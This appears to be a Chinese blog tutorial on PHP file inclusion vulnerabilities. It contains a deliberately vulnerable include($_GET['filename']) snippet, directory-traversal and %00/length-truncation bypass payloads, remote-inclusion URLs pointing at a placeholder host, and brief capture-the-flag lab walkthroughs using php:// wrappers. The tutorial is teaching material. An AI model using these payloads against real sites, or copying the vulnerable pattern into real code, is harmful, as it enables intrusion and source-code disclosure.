标签:WEB txt http 包含 文件 filename 漏洞 php com
原理
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
演示代码
<?php
$filename = $_GET['filename']
include($filename)
?>
在网站目录下有一个php.txt文件 文件的内容是<?php phpinfo();?>
向filename传参将1.txt包含进去
127.0.0.1/test,php?filename=1.txt
成功执行php代码
文件包含还可以包含不同目录下的文件,我在D盘根目录下有一个1.txt 内容同样是<?php phpinfo();?>
因此url应该这样写
127.0.0.1/test,php?filename=../../../1.txt
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
本地包含-有限制
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
绕过方法
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:windows,点号需要长于256;linux 长于4096
远程包含-有限制
只有这个开关打开才允许远程上传
无限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
有限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?
各种协议流玩法
各环境支持的协议
php伪协议
php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)
靶场演
示
https://www.ichunqiu.com/battalion?t=1&r=0
根据代码可知传递path值即可
使用php伪协议
发现一个可疑的php文件
访问看下
查看页面源代码
完事
靶场二
url上有一个file可以猜测是包含的文件名
使用php伪协议读取文件源码
base64加密
解码后的结果
标签:WEB,txt,http,包含,文件,filename,漏洞,php,com 来源: https://www.cnblogs.com/fattygo/p/15613063.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。